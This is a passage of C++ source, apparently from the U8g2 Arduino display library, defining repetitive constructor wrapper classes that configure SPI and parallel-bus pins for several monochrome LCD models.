u8g2_Setup_ls027b7dh01_m0_400x240_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS027B7DH01_M0_400X240_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LS027B7DH01_M0_400X240_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_m0_400x240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS027B7DH01_400X240_2_4W_SW_SPI : public U8G2 { public: U8G2_LS027B7DH01_400X240_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_400x240_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LS027B7DH01_400X240_2_4W_HW_SPI : public U8G2 { public: U8G2_LS027B7DH01_400X240_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_400x240_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS027B7DH01_400X240_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LS027B7DH01_400X240_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_400x240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS027B7DH01_M0_400X240_2_4W_SW_SPI : public U8G2 { public: U8G2_LS027B7DH01_M0_400X240_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_m0_400x240_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LS027B7DH01_M0_400X240_2_4W_HW_SPI : public U8G2 { public: U8G2_LS027B7DH01_M0_400X240_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_m0_400x240_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS027B7DH01_M0_400X240_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LS027B7DH01_M0_400X240_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_m0_400x240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS027B7DH01_400X240_F_4W_SW_SPI : public U8G2 { public: U8G2_LS027B7DH01_400X240_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_400x240_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LS027B7DH01_400X240_F_4W_HW_SPI : public U8G2 { public: U8G2_LS027B7DH01_400X240_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_400x240_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS027B7DH01_400X240_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LS027B7DH01_400X240_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_400x240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS027B7DH01_M0_400X240_F_4W_SW_SPI : public U8G2 { public: U8G2_LS027B7DH01_M0_400X240_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_m0_400x240_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LS027B7DH01_M0_400X240_F_4W_HW_SPI : public U8G2 { public: U8G2_LS027B7DH01_M0_400X240_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_m0_400x240_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS027B7DH01_M0_400X240_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LS027B7DH01_M0_400X240_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls027b7dh01_m0_400x240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS013B7DH05_144X168_1_4W_SW_SPI : public U8G2 { public: U8G2_LS013B7DH05_144X168_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh05_144x168_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LS013B7DH05_144X168_1_4W_HW_SPI : public U8G2 { public: U8G2_LS013B7DH05_144X168_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh05_144x168_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS013B7DH05_144X168_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LS013B7DH05_144X168_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh05_144x168_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS013B7DH05_144X168_2_4W_SW_SPI : public U8G2 { public: U8G2_LS013B7DH05_144X168_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh05_144x168_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LS013B7DH05_144X168_2_4W_HW_SPI : public U8G2 { public: U8G2_LS013B7DH05_144X168_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh05_144x168_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS013B7DH05_144X168_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LS013B7DH05_144X168_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh05_144x168_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS013B7DH05_144X168_F_4W_SW_SPI : public U8G2 { public: U8G2_LS013B7DH05_144X168_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh05_144x168_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_LS013B7DH05_144X168_F_4W_HW_SPI : public U8G2 { public: U8G2_LS013B7DH05_144X168_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh05_144x168_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_LS013B7DH05_144X168_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_LS013B7DH05_144X168_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ls013b7dh05_144x168_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1701_EA_DOGS102_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1701_EA_DOGS102_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1701_EA_DOGS102_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1701_EA_DOGS102_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1701_EA_DOGS102_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1701_EA_DOGS102_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1701_EA_DOGS102_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1701_EA_DOGS102_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1701_EA_DOGS102_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1701_EA_DOGS102_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1701_EA_DOGS102_1_6800 : public U8G2 { public: U8G2_UC1701_EA_DOGS102_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1701_EA_DOGS102_1_8080 : public U8G2 { public: U8G2_UC1701_EA_DOGS102_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1701_EA_DOGS102_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1701_EA_DOGS102_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1701_EA_DOGS102_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1701_EA_DOGS102_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1701_EA_DOGS102_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1701_EA_DOGS102_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1701_EA_DOGS102_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1701_EA_DOGS102_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1701_EA_DOGS102_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1701_EA_DOGS102_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1701_EA_DOGS102_2_6800 : public U8G2 { public: U8G2_UC1701_EA_DOGS102_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1701_EA_DOGS102_2_8080 : public U8G2 { public: U8G2_UC1701_EA_DOGS102_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1701_EA_DOGS102_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1701_EA_DOGS102_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1701_EA_DOGS102_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1701_EA_DOGS102_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1701_EA_DOGS102_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1701_EA_DOGS102_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1701_EA_DOGS102_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1701_EA_DOGS102_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1701_EA_DOGS102_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1701_EA_DOGS102_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1701_EA_DOGS102_F_6800 : public U8G2 { public: U8G2_UC1701_EA_DOGS102_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1701_EA_DOGS102_F_8080 : public U8G2 { public: U8G2_UC1701_EA_DOGS102_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_ea_dogs102_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1701_MINI12864_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1701_MINI12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1701_MINI12864_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1701_MINI12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1701_MINI12864_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1701_MINI12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1701_MINI12864_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1701_MINI12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1701_MINI12864_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1701_MINI12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1701_MINI12864_1_6800 : public U8G2 { public: U8G2_UC1701_MINI12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1701_MINI12864_1_8080 : public U8G2 { public: U8G2_UC1701_MINI12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1701_MINI12864_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1701_MINI12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1701_MINI12864_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1701_MINI12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1701_MINI12864_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1701_MINI12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1701_MINI12864_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1701_MINI12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1701_MINI12864_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1701_MINI12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1701_MINI12864_2_6800 : public U8G2 { public: U8G2_UC1701_MINI12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1701_MINI12864_2_8080 : public U8G2 { public: U8G2_UC1701_MINI12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1701_mini12864_2(&u8g2, 